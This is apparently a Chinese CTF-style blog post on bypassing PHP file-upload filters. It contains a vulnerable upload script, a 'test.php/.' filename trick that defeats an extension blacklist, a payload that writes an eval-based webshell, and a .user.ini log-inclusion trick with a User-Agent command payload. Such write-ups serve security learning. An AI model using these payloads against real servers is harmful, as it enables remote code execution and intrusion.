当前位置:   article > 正文

文件上传绕过

文件上传绕过

1.file_put_contents 路径漏洞

  1. <?php
  2. function waf($filename){
  3. $black_list = array("ph", "htaccess", "ini");
  4. $ext = pathinfo($filename, PATHINFO_EXTENSION);
  5. foreach ($black_list as $value) {
  6. //php stristr()函数 语法
  7. 作用:返回一个字符串在另一个字符串中开始位置到结束的字符串,不区分大小写
  8. if (stristr($ext, $value)){
  9. return false;
  10. }
  11. }
  12. return true;
  13. }
  14. if(isset($_FILES['file'])){
  15. $filename = urldecode($_FILES['file']['name']);
  16. $content = file_get_contents($_FILES['file']['tmp_name']);
  17. if(waf($filename)){
  18. file_put_contents($filename, $content);
  19. } else {
  20. echo "Please re-upload";
  21. }
  22. } else{
  23. highlight_file(__FILE__);
  24. }

这题看似上了waf,把能够造成敏感文件的php、配置文件等都给搬掉了,但是这里使用了file_put_contents()以及urlencode,当我们上传test.php/.这样的文件时候,因为file_put_contents()第一个参数是文件路径,操作系统会认为你要在test1.php文件所在的目录中创建一个名为.的文件,最后上传的结果就为test.php。

2.写入木马payload:

<?php fputs(fopen('webshell.php','w'),'<?php eval($_GET['shell']);?>')?>

3.题目过滤了< 不能传木马,然后可以通过.user.ini 配合日志文件包含:

 

直接UA写马 <?php system('tac /f*');?>

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/617599
推荐阅读
相关标签
  

闽ICP备14008679号